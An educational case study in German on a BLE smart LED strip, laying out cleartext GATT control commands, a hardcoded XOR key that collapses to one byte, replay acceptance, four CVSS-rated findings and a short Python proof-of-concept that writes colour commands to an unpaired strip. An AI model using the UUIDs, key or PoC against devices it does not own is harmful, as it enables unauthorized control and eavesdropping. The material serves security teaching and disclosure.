Smart-LED-Strip

Klartext-GATT-Kommunikation und XOR-Obfuskation mit globalem Schlüssel

Lernziel

Nach dieser Seite verstehst du, wie ein weit verbreitetes Smart-Home-Gerät auf allen drei analysierten Ebenen versagt: keine Verschlüsselung auf dem Steuerkanal, symbolische XOR-Obfuskation auf dem Werbekanal und keinerlei Schutz gegen Replay-Angriffe. Du kannst die vier gefundenen Schwachstellen benennen, ihre CVSS-Scores nachvollziehen und erklären, warum ein "verschlüsselnder" Code tatsächlich nur eine einzige Zahl verbirgt.


Das Gerät und seine App

Der analysierte Smart-LED-Strip wird über die App wl.smartled (Version 6.4.11, Build 156) gesteuert. Mit über 10 Millionen Downloads im Google Play Store ist dies kein Nischenprodukt — es steht stellvertretend für eine ganze Klasse von Smart-Home-Leuchtmitteln, die auf denselben Protokollstandards aufbauen.

Stell dir das Gerät wie eine Fernsteuerung für Weihnachtslichter vor, nur über Bluetooth: Die App sendet kurze Befehle, der Strip führt sie aus — Farbe ändern, Helligkeit anpassen, Effekte starten. Klingt harmlos. Was dabei über Funk geht, ist es leider nicht.

Einordnung in den Guide

Diese Fallstudie setzt die Methoden aus dem 5-Phasen-Assessment-Guide voraus. Die hier beschriebenen Befunde wurden mit Wireshark, JADX und einem BLE-Sniffer (nRF52840 Dongle) gewonnen. Wenn du die Werkzeuge noch nicht kennst, lies zuerst Phase 2: Traffic Capture und Phase 1: APK-Analyse.


Phase 1: Der GATT-Kanal — vollständig im Klartext

Aufzeichnung und Statistik

In einem 45-sekündigen BLE-Mitschnitt wurden 6.221 Pakete erfasst. Davon konnten 69 GATT Write Commands isoliert und analysiert werden — die direkten Steuerbefehle der App an den Strip.

Das Ergebnis war eindeutig: Alle 69 Befehle lagen im Klartext vor. Kein einziger war verschlüsselt, obfuskiert oder anderweitig geschützt.

GATT-Struktur

Der Strip exponiert seine Steuerung über eine einzige GATT-Charakteristik:

AttributWert
Service UUID0000fff0-0000-1000-8000-00805f9b34fb
Charakteristik UUID0000fff3-0000-1000-8000-00805f9b34fb
BerechtigungenWrite, Write Without Response
Authentifizierungkeine
Pairing erforderlichnein

Das bedeutet: Jedes BLE-fähige Gerät in Reichweite kann Befehle senden, ohne sich vorher gegenüber dem Strip identifizieren zu müssen.

Erkunde das GATT-Profil des Geräts interaktiv:

GATT Profile

Read
Read
WriteWriteWithoutResponse

Das Befehlsformat

Alle Steuerbefehle folgen einem einheitlichen Schema:

7E [len] [opcode] [param1] [param2] [param3] [param4] 10 EF
  • 7E = Startbyte (immer gleich)
  • [len] = Länge der Nutzdaten
  • [opcode] = Befehlstyp (welche Funktion)
  • [param1–4] = Parameter (abhängig vom Opcode)
  • 10 EF = Endbytes (immer gleich)

Ein konkretes Beispiel aus dem Mitschnitt — der Befehl für die Farbe Hellgrün (R=128, G=255, B=0):

7e 07 05 03 80 ff 00 10 ef

Dekodiert:

ByteHexBedeutung
17EStartbyte
207Länge (7 Datenbytes)
305Opcode: Farbe (RGB)
403Subparameter
580R = 128
6FFG = 255
700B = 0
810Param (fest)
9EFEndbyte

Probiere verschiedene Befehle im interaktiven Packet Dissector aus — bewege die Maus über die einzelnen Felder:

LED-Strip Befehlsformat

Paketbytes (9):

7E07050380FF0010EF
Start0x7EMagic-Byte (immer 0x7E)
Länge0x077 Datenbytes folgen
Opcode0x05Farbe (RGB)
Param0x03Sub-Parameter: 3
R0x80Rot: 128
G0xFFGrün: 255
B0x00Blau: 0
Fest0x10Fester Parameter (0x10)
Ende0xEFEnd-Byte (immer 0xEF)

Farbvorschau

rgb(128, 255, 0)

Befehlsverteilung im Mitschnitt

Die 69 aufgezeichneten Befehle verteilten sich auf sechs Kategorien:

TypAnzahlAnteilOpcode
Farbsteuerung (RGB)3043,5 %0x05
Effektmodi2536,2 %0x03
Power (An/Aus)811,6 %0x04
Helligkeit34,3 %0x01
Geschwindigkeit22,9 %0x02
Initialisierung11,5 %0x83

Klartext bedeutet: kein Reverse Engineering nötig

Wenn alle Befehle im Klartext übertragen werden, braucht ein Angreifer die App gar nicht zu analysieren. Es genügt, einen einzigen Mitschnitt zu machen und die Befehle direkt zu replizieren. Das Format ist so einfach, dass man mit Wireshark, einem Nachmittag und einem BLE-Adapter alles herausfindet, was man braucht.

Welche UUID identifiziert die Steuer-Charakteristik des LED-Strips?


Phase 2: Der Advertisement-Kanal — XOR-Obfuskation

Während der GATT-Kanal völlig offen ist, schien der Advertisement-Kanal auf den ersten Blick verschlüsselt: Die Nutzdaten der BLE-Advertisementpakete enthielten keine lesbaren Strings und wirkten auf den ersten Blick zufällig.

Spoiler: Sie waren es nicht.

Analyse der APK mit JADX

In der dekompilierten App fand sich die Klasse EncryptUtil mit folgendem XOR-Schlüssel:

byte[] key = {89, 76, 90, 75, 53, 41, 33, 41, 62, 72, 64,
              118, 100, 98, 81, 68, 94, 68, 63, data_num};
// ASCII: "YLZK51!)>H@vdbQD^D?" + Counter-Byte (0–255)

Der Schlüssel besteht aus 19 festen Bytes und einem variablen Counter-Byte (data_num), das von 0 bis 255 läuft. Auf den ersten Blick klingt das nach einem 20-Byte-Schlüssel — das wäre immerhin 160 Bit.

Der Kollaps auf ein einziges Byte

Das "iterative XOR" in EncryptUtil verknüpft das Ergebnis eines Bytes stets mit dem nächsten Schlüsselbyte:

result[i] ^= key[0]
result[i] ^= key[1]
...
result[i] ^= key[18]

Da XOR assoziativ und selbstinvers ist, kollabiert das zu:

result[i] ^= key[0] ⊕ key[1] ⊕ ... ⊕ key[18]

Das XOR aller 19 statischen Bytes ergibt einen einzigen effektiven Schlüssel:

key_bytes = [89, 76, 90, 75, 53, 41, 33, 41, 62, 72, 64, 118, 100, 98, 81, 68, 94, 68, 63]
effective_key = 0
for b in key_bytes:
    effective_key ^= b
print(hex(effective_key))  # -> 0x66 (dezimal: 102)

Effektiver Schlüsselraum: 256 Möglichkeiten (ein einziges Byte). Das ist triviales Brute-Force-Gebiet — oder direkte Berechnung, wenn man die APK hat.

Probiere es selbst aus — klicke auf "Start", um den schrittweisen Kollaps des 19-Byte-Schlüssels zu beobachten:

XOR-Schlüssel-Kollaps des LED-Strips

19 Schlüsselbytes (iterativ XOR-verknüpft):

594C5A4B352921293E484076646251445E443F

Laufendes XOR-Ergebnis:

Drücke Start, um zu beginnen

Ein Schlüssel für alle Geräte weltweit

Der XOR-Schlüssel ist in der APK fest codiert — als ASCII-String, der in JADX sofort lesbar ist. Wer die App installiert hat (10+ Millionen Menschen), kann den Schlüssel aus der APK extrahieren. Damit lassen sich die Advertisement-Daten aller LED-Strips dieser Produktlinie weltweit entschlüsseln. Ein Schlüssel, ein Angriff, zehn Millionen Geräte.

Validierung: 138 Pakete, 100 % Entschlüsselungsrate

Im Mitschnitt wurden 138 Advertisement-Pakete erfasst. Mit dem extrahierten Schlüssel (0x66) konnten alle 138 vollständig entschlüsselt werden — 100 % Erfolgsrate.

Das Advertisement-Payload hat eine feste Struktur:

  • Länge: 25 Byte
  • Manufacturer ID: 0xBEE8
  • Geräte-Status und Farbinformationen im Klartext (nach XOR-Dekodierung)

Warum kollabiert der scheinbar 19-Byte-XOR-Schlüssel auf einen effektiven 1-Byte-Schlüssel?


Phase 3: Replay-Angriff — empirisch bestätigt

Ein Replay-Angriff ist wie das Abfilmen einer Türöffnung und das spätere Abspielen des Videos vor der Kamera: Man muss gar nicht wissen, wie die Tür funktioniert — man wiederholt einfach, was einmal geklappt hat.

Nachweis im Mitschnitt

Im PCAP-Mitschnitt erscheint derselbe RGB-Befehl (Farbe Hellgrün: #80FF00) zweimal innerhalb von 180 Millisekunden — als exakt identische Pakete:

Frame @17.38s: 7e 07 05 03 80 ff 00 10 ef
Frame @17.56s: 7e 07 05 03 80 ff 00 10 ef

Kein Nonce. Kein Zeitstempel. Keine Sequenznummer. Der Strip akzeptiert beide Pakete ohne zu zögern.

Das bedeutet: Ein aufgezeichneter Befehl kann beliebig oft wiederholt werden. Ein Angreifer, der einmal einen Mitschnitt gemacht hat, kann den Strip danach unbegrenzt steuern — ohne die App, ohne Authentifizierung, ohne dass der Besitzer es bemerkt.

Replay-Angriffe sind einfach durchzuführen

Ein Replay-Angriff erfordert keine besonderen Kenntnisse. Es genügt ein handelsüblicher BLE-USB-Adapter (z. B. nRF52840 Dongle, ca. 10 Euro) und frei verfügbare Software wie btlejack oder GATTacker. Die Pakete müssen nicht einmal verstanden werden — einfach aufnehmen und abspielen.


Phase 4: Proof-of-Concept-Code

Der folgende Python-Code demonstriert einen vollständigen GATT-Exploit. Er verbindet sich ohne Pairing, sendet einen beliebigen RGB-Befehl und trennt die Verbindung wieder:

CHAR_UUID = "0000fff3-0000-1000-8000-00805f9b34fb"

def build_color_cmd(r: int, g: int, b: int) -> bytes:
    """Klartext-RGB-Befehl — keine Verschlüsselung auf GATT-Ebene."""
    return bytes([0x7E, 0x07, 0x05, 0x03, r, g, b, 0x10, 0xEF])

def exploit(ble_device, target_addr: str, r: int, g: int, b: int) -> None:
    # Verbindung ohne Pairing — der Strip verlangt es nicht
    conn = ble_device.connect(target_addr).wait()
    conn.discover_services().wait()

    for svc in conn.database.services:
        for char in svc.characteristics:
            if str(char.uuid) == CHAR_UUID:
                char.write(build_color_cmd(r, g, b)).wait()

    conn.disconnect().wait()

Aufruf:

# Setzt den Strip auf Rot — ohne irgendeine Autorisierung
exploit(ble_device, "AA:BB:CC:DD:EE:FF", r=255, g=0, b=0)

Ethischer Rahmen

Dieser Code dient ausschließlich dem Verständnis der Schwachstelle. Das Ausführen gegen fremde Geräte ohne Genehmigung ist illegal. Wenn du eigene Geräte testen willst, lies zuerst den rechtlichen Rahmen.


Gefundene Schwachstellen

Überblick

IDBezeichnungCVSS-ScoreSchweregrad
VULN-2026-006Vollständig unverschlüsselter GATT-Kanal8.3HIGH
VULN-2026-007XOR-Obfuskation im Advertisement-Kanal8.3 (Umgebung: bis 8.7)HIGH
VULN-2026-008Keine Authentifizierung7.1HIGH
VULN-2026-009Kein Replay-Schutz6.5MEDIUM

VULN-2026-006: Vollständig unverschlüsselter GATT-Kanal

CVSS-Vektor: AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L — Score: 8.3 HIGH

Alle 69 GATT Write Commands im Mitschnitt lagen im Klartext vor. Das bedeutet:

  • Ein passiver Beobachter kann alle Befehle lesen, ohne etwas zu entschlüsseln.
  • Ein aktiver Angreifer kann beliebige Befehle senden, ohne sich zu identifizieren.
  • Reverse Engineering der App ist nicht erforderlich — das Protokoll ist direkt aus dem Mitschnitt lesbar.

OWASP IoT Top 10: I7 (Unsichere Datenübertragung), I9 (Unsichere Standard-Einstellungen)


VULN-2026-007: XOR-Obfuskation im Advertisement-Kanal

CVSS-Vektor: AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L — Score: 8.3 HIGH (Umgebungsanpassung: bis 8.7)

Der XOR-Schlüssel ist in der APK als ASCII-Klartext gespeichert und in JADX sofort sichtbar. Da er global für alle Geräte dieser Produktlinie gilt:

  • Einmalige Extraktion aus einer APK kompromittiert alle Geräte weltweit.
  • Angreifer müssen keinen eigenen Strip besitzen — nur die App aus dem Play Store.
  • Die "Verschlüsselung" bietet null Vertraulichkeit und null Integrität.

OWASP IoT Top 10: I1 (Schwache, vorhersagbare Credentials), I7 (Unsichere Datenübertragung)


VULN-2026-008: Keine Authentifizierung

CVSS-Vektor: AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L — Score: 7.1 HIGH

Im gesamten 45-sekündigen Mitschnitt wurde keine einzige SMP-Sequenz (Security Manager Protocol) beobachtet. Es findet kein Pairing statt, keine PIN-Eingabe, keine kryptografische Identifizierung.

Das Gerät akzeptiert Befehle von jedem BLE-Gerät in Reichweite ohne jede Prüfung.

OWASP IoT Top 10: I2 (Unsichere Netzwerkdienste)


VULN-2026-009: Kein Replay-Schutz

CVSS-Vektor: AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L — Score: 6.5 MEDIUM

Empirisch bestätigt: Ein identisches Paket wird zweimal innerhalb von 180 ms gesendet und vom Gerät beide Male akzeptiert. Keine Sequenznummern, keine Nonces, keine Zeitstempel.

OWASP IoT Top 10: I7 (Unsichere Datenübertragung)


Gesamtbewertung

KriteriumWert
GesamtrisikoHIGH
Höchster CVSS-Score8.3
Anzahl gefundener Schwachstellen4 (3 HIGH, 1 MEDIUM)
Angreifer-AufwandMinimal — kein RE erforderlich
Exploit-MethodeDirekte GATT-Writes ohne Dekodierung
PCAP-Validierung69/69 Befehle dekodiert, 138/138 Advertisements entschlüsselt

Warum dieser Fund besonders schwer wiegt

Die meisten der hier gefundenen Schwachstellen erfordern überhaupt kein Fachwissen. Das Protokoll ist im Klartext lesbar, das XOR ist in JADX sofort sichtbar, und ein Replay-Angriff braucht nur einen billigen BLE-Adapter. Bei 10+ Millionen Downloads bedeutet das ein massives, leicht ausnutzbares Angriffspotential für eine enorme Nutzerbasis.

Warum wiegt VULN-2026-007 (XOR-Obfuskation) trotz des 'verschlüsselten' Aussehens schwer?


Vergleich mit den anderen Fallstudien

Der LED-Strip steht stellvertretend für einen bestimmten Typ von BLE-Schwachstellen: Fehlende Sicherheit durch falsches Vertrauen in die Komplexität des Protokolls. Die Entwickler haben vermutlich angenommen, dass das proprietäre Befehlsformat und die XOR-Obfuskation ausreichen, um Angreifer abzuschrecken.

Im Vergleich:

  • LED-Brille (Fallstudie 1): Setzt AES ein — aber im ECB-Modus mit hartkodiertem Schlüssel in der nativen Bibliothek. Stärker obfuskiert, aber ebenfalls kompromittiert.
  • Körperwaage (Fallstudie 3): Sendet Gewichtsdaten ebenfalls im Klartext, kompromittiert aber primär die Privatsphäre der Nutzer statt die Gerätekontrolle.

Alle drei Geräte teilen dasselbe Grundproblem: Sicherheit wurde als nachträglicher Gedanke behandelt, nicht als Designanforderung.


Zusammenfassung

  • Der GATT-Kanal des Smart-LED-Strips überträgt alle 69 Steuerbefehle vollständig im Klartext — kein Pairing, keine Verschlüsselung, keine Authentifizierung.
  • Das Befehlsformat (7E [len] [opcode] [params] 10 EF) ist trivial aus einem Wireshark-Mitschnitt rekonstruierbar.
  • Der Advertisement-Kanal ist scheinbar "verschlüsselt", aber das iterative XOR kollabiert mathematisch auf einen effektiven 1-Byte-Schlüssel (0x66), der direkt aus der APK extrahierbar ist.
  • Da der Schlüssel global ist, reicht eine einzige APK-Extraktion, um die Advertisementdaten aller Geräte weltweit zu entschlüsseln.
  • Kein Replay-Schutz: Aufgezeichnete Pakete werden beliebig oft akzeptiert — empirisch mit zwei identischen Paketen im 180ms-Abstand bestätigt.
  • Vier Schwachstellen: 3 × HIGH (CVSS 7.1–8.3), 1 × MEDIUM (CVSS 6.5) — Gesamtrisiko HIGH.

Weiter zu: Körperwaage-Fallstudie | Zurück zur Übersicht